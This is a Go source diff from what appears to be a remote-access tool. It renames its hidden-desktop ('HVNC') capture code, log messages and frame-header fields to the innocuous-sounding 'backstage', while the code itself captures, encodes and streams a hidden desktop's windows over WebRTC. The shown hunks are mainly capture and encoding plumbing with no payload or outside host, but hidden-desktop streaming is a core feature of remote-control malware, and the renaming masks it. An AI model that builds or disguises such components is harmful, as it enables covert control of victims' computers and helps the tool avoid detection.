return errors.New("backstage not supported on this platform")
}
func HVNCAutoStartExplorer() error {
return errors.New("HVNC not supported on this platform")
func BackstageAutoStartExplorer() error {
return errors.New("backstage not supported on this platform")
}
func HVNCKillAll() error {
return errors.New("HVNC not supported on this platform")
func BackstageKillAll() error {
return errors.New("backstage not supported on this platform")
}
type HVNCWindowInfo struct {
type BackstageWindowInfo struct {
HWND uintptr
Title string
X int
@@ -80,7 +80,7 @@ type HVNCWindowInfo struct {
Visible bool
}
type HVNCMonitorInfo struct {
type BackstageMonitorInfo struct {
Index int
Name string
X int
@@ -90,6 +90,6 @@ type HVNCMonitorInfo struct {
Primary bool
}
func HVNCEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
func BackstageEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
return nil, nil
}
@@ -825,7 +825,7 @@ func uiaInit() error {
return
}
uiaTreeWalker = uiaSingleton.GetControlViewWalker()
log.Printf("hvnc uia: IUIAutomation initialized successfully (walker=%v)", uiaTreeWalker != nil)
log.Printf("backstage uia: IUIAutomation initialized successfully (walker=%v)", uiaTreeWalker != nil)
})
return uiaInitErr
}
@@ -860,7 +860,7 @@ func uiaEnsureWorker() {
uiaWorkerCh = make(chan func(), 64)
uiaWorkerDone = make(chan struct{})
go func() {
defer recoverAndLog("hvnc uia worker", nil)
defer recoverAndLog("backstage uia worker", nil)
uiaWorkerLoop()
}()
})
@@ -871,23 +871,23 @@ func uiaWorkerLoop() {
defer runtime.UnlockOSThread()
defer close(uiaWorkerDone)
hvncDesktopMu.Lock()
dh := hvncDesktopHandle
hvncDesktopMu.Unlock()
backstageDesktopMu.Lock()
dh := backstageDesktopHandle
backstageDesktopMu.Unlock()
if dh != 0 {
r, _, err := procSetThreadDesktop.Call(dh)
if r == 0 {
log.Printf("hvnc uia: worker SetThreadDesktop failed: %v", err)
log.Printf("backstage uia: worker SetThreadDesktop failed: %v", err)
for range uiaWorkerCh {
}
return
}
} else {
log.Printf("hvnc uia: warning — worker started before HVNC desktop exists")
log.Printf("backstage uia: warning — worker started before backstage desktop exists")
}
if err := uiaInit(); err != nil {
log.Printf("hvnc uia: worker init failed: %v", err)
log.Printf("backstage uia: worker init failed: %v", err)
for range uiaWorkerCh {
}
return
File diff suppressed because it is too large Load Diff
+87 -87
View File
@@ -504,9 +504,9 @@ var (
prevMu sync.Mutex
prevFrame *prevImage
hvncPrevMu sync.Mutex
hvncPrevFrame *prevImage
hvncLastKeyframe atomic.Int64
backstagePrevMu sync.Mutex
backstagePrevFrame *prevImage
backstageLastKeyframe atomic.Int64
)
type prevImage struct {
@@ -616,12 +616,12 @@ func ResetPrev() {
resetH264Encoder()
}
func ResetPrevHVNC() {
hvncPrevMu.Lock()
hvncPrevFrame = nil
hvncPrevMu.Unlock()
hvncLastKeyframe.Store(0)
resetH264EncoderHVNC()
func ResetPrevbackstage() {
backstagePrevMu.Lock()
backstagePrevFrame = nil
backstagePrevMu.Unlock()
backstageLastKeyframe.Store(0)
resetH264Encoderbackstage()
}
func RequestDesktopFullFrame() {
@@ -642,12 +642,12 @@ func useDesktopSoftwareH264() bool {
return desktopSoftwareH264.Load()
}
func RequestHVNCFullFrame() {
hvncPrevMu.Lock()
hvncPrevFrame = nil
hvncPrevMu.Unlock()
hvncLastKeyframe.Store(0)
resetH264EncoderHVNC()
func RequestbackstageFullFrame() {
backstagePrevMu.Lock()
backstagePrevFrame = nil
backstagePrevMu.Unlock()
backstageLastKeyframe.Store(0)
resetH264Encoderbackstage()
}
func jpegQuality() int {
@@ -731,8 +731,8 @@ const (
cursorROIMargin = 32
windowROIMargin = 12
hvncSamplingRate = 1
hvncChangeThresh = 1
backstageSamplingRate = 1
backstageChangeThresh = 1
)
func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) {
@@ -841,7 +841,7 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format}, Data: blockPayload}, encDur, nil
}
func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) {
func buildFramebackstage(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) {
encStart := time.Now()
width := img.Bounds().Dx()
height := img.Bounds().Dy()
@@ -850,49 +850,49 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
now := time.Now()
if codec == "h264" {
if width%2 != 0 || height%2 != 0 {
log.Printf("hvnc capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
log.Printf("backstage capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
codec = "jpeg"
} else {
if webrtcpub.ConsumeKeyframeRequest() {
resetH264EncoderHVNC()
resetH264Encoderbackstage()
}
h264Bytes, err := encodeH264FrameHVNC(img)
h264Bytes, err := encodeH264Framebackstage(img)
if err == nil && len(h264Bytes) > 0 {
hvncLastKeyframe.Store(now.UnixNano())
backstageLastKeyframe.Store(now.UnixNano())
statFullFrames.Add(1)
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", HVNC: true}, Data: h264Bytes}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", Backstage: true}, Data: h264Bytes}
return frame, time.Since(encStart), nil
}
h264WarnOnce.Do(func() {
detail := h264AvailabilityDetail()
if detail != "" {
log.Printf("hvnc capture: h264 encode unavailable, falling back to jpeg: %v (%s)", err, detail)
log.Printf("backstage capture: h264 encode unavailable, falling back to jpeg: %v (%s)", err, detail)
return
}
log.Printf("hvnc capture: h264 encode unavailable, falling back to jpeg: %v", err)
log.Printf("backstage capture: h264 encode unavailable, falling back to jpeg: %v", err)
})
codec = "jpeg"
}
}
hvncPrevMu.Lock()
pf := hvncPrevFrame
hvncPrevMu.Unlock()
backstagePrevMu.Lock()
pf := backstagePrevFrame
backstagePrevMu.Unlock()
if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, hvncLastKeyframe.Load())) > keyframeEvery {
if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, backstageLastKeyframe.Load())) > keyframeEvery {
jpegBytes, err := encodeJPEG(img, quality)
hvncPrevMu.Lock()
copyPrevHVNC(img)
hvncPrevMu.Unlock()
hvncLastKeyframe.Store(now.UnixNano())
backstagePrevMu.Lock()
copyPrevbackstage(img)
backstagePrevMu.Unlock()
backstageLastKeyframe.Store(now.UnixNano())
statFullFrames.Add(1)
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", Backstage: true}, Data: jpegBytes}
return frame, time.Since(encStart), err
}
// use strict block detection for HVNC otherwise half the time it just doesn't fucking update pictures
// use strict block detection for backstage otherwise half the time it just doesn't fucking update pictures
// because of how slow the capture shit is.
blocks, blockPayload, encDur, err := encodeBlocksHVNC(img, pf, quality, codec, display)
blocks, blockPayload, encDur, err := encodeBlocksbackstage(img, pf, quality, codec, display)
if err != nil {
return wire.Frame{}, encDur, err
}
@@ -901,7 +901,7 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
// Keepalive frames indicate no block-level changes, so avoid copying the
// full RGBA buffer into prevFrame again.
statKeepaliveFrames.Add(1)
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", HVNC: true}, Data: blockPayload}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", Backstage: true}, Data: blockPayload}
return frame, encDur, nil
}
@@ -910,13 +910,13 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
if changedRatio > maxBlockRatio {
jpegBytes, err := encodeJPEG(img, quality)
hvncPrevMu.Lock()
copyPrevHVNC(img)
hvncPrevMu.Unlock()
hvncLastKeyframe.Store(now.UnixNano())
backstagePrevMu.Lock()
copyPrevbackstage(img)
backstagePrevMu.Unlock()
backstageLastKeyframe.Store(now.UnixNano())
statBlockFallbacks.Add(1)
statFullFrames.Add(1)
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", Backstage: true}, Data: jpegBytes}
return frame, time.Since(encStart), err
}
@@ -926,7 +926,7 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
if codec == "raw" {
format = "blocks_raw"
}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format, HVNC: true}, Data: blockPayload}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format, Backstage: true}, Data: blockPayload}
return frame, encDur, nil
}
@@ -1001,7 +1001,7 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d
changed := blockChanged(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh)
if !changed && blockIntersectsROI(x, y, ww, hh, rois) {
changed = blockChangedHVNC(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh)
changed = blockChangedbackstage(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh)
}
if changed {
changedGrid[by*blocksWide+bx] = true
@@ -1276,12 +1276,12 @@ func sortRegionsByROI(regions []streamRegion, hints []roiHint) {
})
}
func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool {
func blockChangedbackstage(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool {
changedPixels := 0
sampledPixels := 0
for row := 0; row < h; row += hvncSamplingRate {
for col := 0; col < w; col += hvncSamplingRate {
for row := 0; row < h; row += backstageSamplingRate {
for col := 0; col < w; col += backstageSamplingRate {
sampledPixels++
ci := (y+row)*curStride + (x+col)*4
pi := (y+row)*prevStride + (x+col)*4
@@ -1304,7 +1304,7 @@ func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h in
db = -db
}
if dr > hvncChangeThresh || dg > hvncChangeThresh || db > hvncChangeThresh {
if dr > backstageChangeThresh || dg > backstageChangeThresh || db > backstageChangeThresh {
changedPixels++
if sampledPixels > 20 && changedPixels*100 > sampledPixels {
@@ -1320,7 +1320,7 @@ func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h in
return changedPixels*100 > sampledPixels
}
func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec string, display int) (int, []byte, time.Duration, error) {
func encodeBlocksbackstage(img *image.RGBA, prev *prevImage, quality int, codec string, display int) (int, []byte, time.Duration, error) {
width := img.Bounds().Dx()
height := img.Bounds().Dy()
stride := img.Stride
@@ -1360,7 +1360,7 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
hh = height - y
}
if blockChangedHVNC(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) {
if blockChangedbackstage(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) {
changedGrid[by*blocksWide+bx] = true
changedCount++
}
@@ -1513,19 +1513,19 @@ func copyPrev(img *image.RGBA) {
}
}
func copyPrevHVNC(img *image.RGBA) {
func copyPrevbackstage(img *image.RGBA) {
width := img.Bounds().Dx()
height := img.Bounds().Dy()
n := len(img.Pix)
if hvncPrevFrame != nil && cap(hvncPrevFrame.pix) >= n {
hvncPrevFrame.w = width
hvncPrevFrame.h = height
hvncPrevFrame.pix = hvncPrevFrame.pix[:n]
copy(hvncPrevFrame.pix, img.Pix)
if backstagePrevFrame != nil && cap(backstagePrevFrame.pix) >= n {
backstagePrevFrame.w = width
backstagePrevFrame.h = height
backstagePrevFrame.pix = backstagePrevFrame.pix[:n]
copy(backstagePrevFrame.pix, img.Pix)
} else {
buf := make([]byte, n)
copy(buf, img.Pix)
hvncPrevFrame = &prevImage{w: width, h: height, pix: buf}
backstagePrevFrame = &prevImage{w: width, h: height, pix: buf}
}
}
@@ -1587,25 +1587,25 @@ func SetQualityAndCodec(quality int, codec string) {
h264WarnOnce = sync.Once{}
if s != "h264" {
resetH264Encoder()
resetH264EncoderHVNC()
resetH264Encoderbackstage()
}
case "":
default:
overrideCodec.Store("jpeg")
resetH264Encoder()
resetH264EncoderHVNC()
resetH264Encoderbackstage()
}
}
func NowHVNC(ctx context.Context, env *rt.Env) error {
func Nowbackstage(ctx context.Context, env *rt.Env) error {
if env.Cfg.DisableCapture {
return sendBlackFrameHVNC(ctx, env)
return sendBlackFramebackstage(ctx, env)
}
if !supportsBackstageCapture() {
return nil
}
return captureAndSendHVNC(ctx, env)
return captureAndSendbackstage(ctx, env)
}
func NowVirtual(ctx context.Context, env *rt.Env) error {
@@ -1659,7 +1659,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
}
captureDur := time.Since(t0)
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC)
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage)
var slotAcquired bool
if !willSendViaWebRTC && !AcquireFrameSlot() {
PutRGBA(img)
@@ -1668,7 +1668,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
slotAcquired = !willSendViaWebRTC
quality := jpegQuality()
frame, encodeDur, err := buildFrameHVNC(img, 0, quality)
frame, encodeDur, err := buildFramebackstage(img, 0, quality)
PutRGBA(img)
img = nil
if err != nil {
@@ -1691,12 +1691,12 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
}
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
log.Printf("webrtc: write hidden h264 failed: %v", werr)
}
if slotAcquired {
@@ -1737,12 +1737,12 @@ func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Fram
if ctx.Err() != nil {
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
log.Printf("webrtc: write hidden h264 failed: %v", werr)
}
return nil
@@ -1769,7 +1769,7 @@ func sendBlackFrameVirtual(ctx context.Context, env *rt.Env) error {
img := image.NewRGBA(image.Rect(0, 0, 64, 64))
quality := 60
frame, _, err := buildFrameHVNC(img, 0, quality)
frame, _, err := buildFramebackstage(img, 0, quality)
if err != nil {
return err
}
@@ -1778,36 +1778,36 @@ func sendBlackFrameVirtual(ctx context.Context, env *rt.Env) error {
}
func supportsBackstageCapture() bool {
count := HVNCMonitorCount()
count := BackstageMonitorCount()
return count > 0
}
func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
func captureAndSendbackstage(ctx context.Context, env *rt.Env) error {
defer func() {
if r := recover(); r != nil {
log.Printf("hvnc capture: panic in captureAndSendHVNC: %v", r)
log.Printf("backstage capture: panic in captureAndSendbackstage: %v", r)
}
}()
display := env.HVNCSelectedDisplay
if display < 0 || display >= HVNCMonitorCount() {
display := env.BackstageSelectedDisplay
if display < 0 || display >= BackstageMonitorCount() {
display = 0
log.Printf("hvnc capture: requested display %d out of range, defaulting to 0", display)
log.Printf("backstage capture: requested display %d out of range, defaulting to 0", display)
}
t0 := time.Now()
img, err := safeBackstageCaptureDisplay(display)
if err != nil {
log.Printf("hvnc capture: capture failed: %v (sending black frame)", err)
return sendBlackFrameHVNC(ctx, env)
log.Printf("backstage capture: capture failed: %v (sending black frame)", err)
return sendBlackFramebackstage(ctx, env)
}
if img == nil {
log.Printf("hvnc capture: capture returned nil image (sending black frame)")
return sendBlackFrameHVNC(ctx, env)
log.Printf("backstage capture: capture returned nil image (sending black frame)")
return sendBlackFramebackstage(ctx, env)
}
captureDur := time.Since(t0)
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC)
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage)
var slotAcquired bool
if !willSendViaWebRTC && !AcquireFrameSlot() {
PutRGBA(img)
@@ -1816,7 +1816,7 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
slotAcquired = !willSendViaWebRTC
quality := jpegQuality()
frame, encodeDur, err := buildFrameHVNC(img, display, quality)
frame, encodeDur, err := buildFramebackstage(img, display, quality)
PutRGBA(img)
img = nil
if err != nil {
@@ -1839,13 +1839,13 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
}
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
log.Printf("webrtc: write hvnc h264 failed: %v", werr)
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
log.Printf("webrtc: write backstage h264 failed: %v", werr)
}
if slotAcquired {
ReleaseFrameSlot()
@@ -1868,7 +1868,7 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
if shouldLogFrame(now) {
total := time.Since(t0)
log.Printf("hvnc capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s",
log.Printf("backstage capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s",
display, fps, frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total)
}
@@ -1886,14 +1886,14 @@ func safeBackstageCaptureDisplay(display int) (*image.RGBA, error) {
return img, nil
}
func sendBlackFrameHVNC(ctx context.Context, env *rt.Env) error {
func sendBlackFramebackstage(ctx context.Context, env *rt.Env) error {
if ctx.Err() != nil {
return nil
}
img := image.NewRGBA(image.Rect(0, 0, 64, 64))
quality := 60
frame, _, err := buildFrameHVNC(img, 0, quality)
frame, _, err := buildFramebackstage(img, 0, quality)
if err != nil {
return err
}
@@ -23,9 +23,9 @@ func resetH264Encoder() {}
func RequestDesktopH264Keyframe() {}
func resetH264EncoderHVNC() {}
func resetH264Encoderbackstage() {}
func encodeH264FrameHVNC(_ *image.RGBA) ([]byte, error) {
func encodeH264Framebackstage(_ *image.RGBA) ([]byte, error) {
return nil, errors.New("h264 support not available (cgo disabled)")
}
@@ -523,8 +523,8 @@ var (
h264Enc h264FrameEncoder
h264LastErr error
hvncH264Mu sync.Mutex
hvncH264Enc h264FrameEncoder
backstageH264Mu sync.Mutex
backstageH264Enc h264FrameEncoder
webcamH264Mu sync.Mutex
webcamH264Enc h264FrameEncoder
@@ -538,10 +538,10 @@ func encodeH264Frame(img *image.RGBA) ([]byte, error) {
return out, err
}
func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) {
hvncH264Mu.Lock()
defer hvncH264Mu.Unlock()
return encodeH264FrameWithEncoder(&hvncH264Enc, "backstage", img)
func encodeH264Framebackstage(img *image.RGBA) ([]byte, error) {
backstageH264Mu.Lock()
defer backstageH264Mu.Unlock()
return encodeH264FrameWithEncoder(&backstageH264Enc, "backstage", img)
}
func encodeH264FrameWebcam(img *image.RGBA) ([]byte, error) {
@@ -624,10 +624,10 @@ func RequestDesktopH264Keyframe() {
resetH264Encoder()
}
func resetH264EncoderHVNC() {
hvncH264Mu.Lock()
defer hvncH264Mu.Unlock()
closeH264Encoder(&hvncH264Enc)
func resetH264Encoderbackstage() {
backstageH264Mu.Lock()
defer backstageH264Mu.Unlock()
closeH264Encoder(&backstageH264Enc)
}
func closeH264Encoder(slot *h264FrameEncoder) {
@@ -1410,7 +1410,7 @@ func average2x2RGB(row0, row1 []byte, x int) (int, int, int) {
func shutdownMediaFoundationForTest() {
closeH264Encoder(&h264Enc)
closeH264Encoder(&hvncH264Enc)
closeH264Encoder(&backstageH264Enc)
closeH264Encoder(&webcamH264Enc)
_, _, _ = procMFShutdown.Call()
}
@@ -142,57 +142,57 @@ func closeH264EncoderLocked() {
}
var (
hvncH264Mu sync.Mutex
hvncH264Enc *x264.Encoder
hvncH264Buf bytes.Buffer
hvncH264Width int
hvncH264Height int
hvncH264FPS int
hvncH264Scratch []byte
backstageH264Mu sync.Mutex
backstageH264Enc *x264.Encoder
backstageH264Buf bytes.Buffer
backstageH264Width int
backstageH264Height int
backstageH264FPS int
backstageH264Scratch []byte
)
func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) {
func encodeH264Framebackstage(img *image.RGBA) ([]byte, error) {
bounds := img.Bounds()
width := bounds.Dx()
height := bounds.Dy()
hvncH264Mu.Lock()
defer hvncH264Mu.Unlock()
backstageH264Mu.Lock()
defer backstageH264Mu.Unlock()
if err := ensureHVNCH264EncoderLocked(width, height); err != nil {
if err := ensurebackstageH264EncoderLocked(width, height); err != nil {
return nil, err
}
hvncH264Buf.Reset()
if err := hvncH264Enc.Encode(img); err != nil {
backstageH264Buf.Reset()
if err := backstageH264Enc.Encode(img); err != nil {
return nil, err
}
n := hvncH264Buf.Len()
n := backstageH264Buf.Len()
if n == 0 {
return nil, nil
}
if cap(hvncH264Scratch) < n {
hvncH264Scratch = make([]byte, n, n+(n/4))
if cap(backstageH264Scratch) < n {
backstageH264Scratch = make([]byte, n, n+(n/4))
} else {
hvncH264Scratch = hvncH264Scratch[:n]
backstageH264Scratch = backstageH264Scratch[:n]
}
copy(hvncH264Scratch, hvncH264Buf.Bytes())
return hvncH264Scratch, nil
copy(backstageH264Scratch, backstageH264Buf.Bytes())
return backstageH264Scratch, nil
}
func resetH264EncoderHVNC() {
hvncH264Mu.Lock()
defer hvncH264Mu.Unlock()
closeHVNCH264EncoderLocked()
func resetH264Encoderbackstage() {
backstageH264Mu.Lock()
defer backstageH264Mu.Unlock()
closebackstageH264EncoderLocked()
}
func ensureHVNCH264EncoderLocked(width, height int) error {
func ensurebackstageH264EncoderLocked(width, height int) error {
fps := activeH264FPS()
if hvncH264Enc != nil && hvncH264Width == width && hvncH264Height == height && hvncH264FPS == fps {
if backstageH264Enc != nil && backstageH264Width == width && backstageH264Height == height && backstageH264FPS == fps {
return nil
}
closeHVNCH264EncoderLocked()
closebackstageH264EncoderLocked()
opts := &x264.Options{
Width: width,
Height: height,
@@ -204,26 +204,26 @@ func ensureHVNCH264EncoderLocked(width, height int) error {
RateConstant: 23,
LogLevel: x264.LogError,
}
enc, err := x264.NewEncoder(&hvncH264Buf, opts)
enc, err := x264.NewEncoder(&backstageH264Buf, opts)
if err != nil {
return err
}
hvncH264Enc = enc
hvncH264Width = width
hvncH264Height = height
hvncH264FPS = fps
backstageH264Enc = enc
backstageH264Width = width
backstageH264Height = height
backstageH264FPS = fps
return nil
}
func closeHVNCH264EncoderLocked() {
if hvncH264Enc != nil {
_ = hvncH264Enc.Close()
hvncH264Enc = nil
func closebackstageH264EncoderLocked() {
if backstageH264Enc != nil {
_ = backstageH264Enc.Close()
backstageH264Enc = nil
}
hvncH264Width = 0
hvncH264Height = 0
hvncH264FPS = 0
hvncH264Buf.Reset()
backstageH264Width = 0
backstageH264Height = 0
backstageH264FPS = 0
backstageH264Buf.Reset()
}
var (
@@ -62,7 +62,7 @@ func VirtualKillAll() error {
return nil
}
func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
func VirtualEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
return nil, nil
}
@@ -294,7 +294,7 @@ func (s *virtualDuplicationState) encodeCachedDirectH264(capStart time.Time, wid
if len(out) == 0 {
return wire.Frame{}, time.Since(capStart), encodeDur, true, nil
}
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: 0, FPS: 0, Format: "h264", HVNC: true}, Data: out}, time.Since(capStart), encodeDur, true, nil
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: 0, FPS: 0, Format: "h264", Backstage: true}, Data: out}, time.Since(capStart), encodeDur, true, nil
}
func (s *virtualDuplicationState) cacheDirectH264Texture(src *d3d11Texture2D, srcDesc d3d11Texture2DDesc) error {
@@ -939,7 +939,7 @@ func VirtualKillAll() error {
return nil
}
func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
func VirtualEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
virtualMu.Lock()
bounds := virtualMonitorBounds
name := virtualMonitorName
@@ -950,7 +950,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
return nil, nil
}
monInfos := []HVNCMonitorInfo{{
monInfos := []BackstageMonitorInfo{{
Index: 0,
Name: name,
X: bounds.Min.X,
@@ -973,7 +973,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
deskHwnd, _, _ := procGetDesktopWindow.Call()
procEnumDesktopWindows.Call(deskHwnd, cb, 0)
var result []HVNCWindowInfo
var result []BackstageWindowInfo
for _, w := range windowList {
if !isWindowVisible(w.hwnd) {
continue
@@ -1010,7 +1010,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
monIdx = 0
}
result = append(result, HVNCWindowInfo{
result = append(result, BackstageWindowInfo{
HWND: w.hwnd,
Title: title,
X: winLeft,
@@ -2221,7 +2221,7 @@ func virtualCurrentCursor() point {
}
virtualInputMu.Unlock()
var pt point
procGetCursorPosHVNC.Call(uintptr(unsafe.Pointer(&pt)))
procGetCursorPosbackstage.Call(uintptr(unsafe.Pointer(&pt)))
return pt
}
@@ -2397,7 +2397,7 @@ func VirtualCaptureDisplayFallback() (*image.RGBA, error) {
capW := srcW
capH := srcH
hdcScreen, hdcMem, buf, ok := hvncEnsureCapCache(capW, capH)
hdcScreen, hdcMem, buf, ok := backstageEnsureCapCache(capW, capH)
if !ok {
return nil, syscall.EINVAL
}
@@ -2443,8 +2443,8 @@ func drawVirtualWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, targe
return 0
}
if hvncWinCache == nil {
hvncWinCache = make(map[uintptr]*hvncWinCacheEntry)
if backstageWinCache == nil {
backstageWinCache = make(map[uintptr]*backstageWinCacheEntry)
}
alive := make(map[uintptr]bool)
@@ -2476,17 +2476,17 @@ func drawVirtualWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, targe
continue
}
if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) {
if drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) {
drawn++
}
alive[hwnd] = true
hwnd = getWindow(hwnd, GW_HWNDPREV)
}
for h, entry := range hvncWinCache {
for h, entry := range backstageWinCache {
if !alive[h] {
hvncFreeCacheEntry(entry)
delete(hvncWinCache, h)
backstageFreeCacheEntry(entry)
delete(backstageWinCache, h)
}
}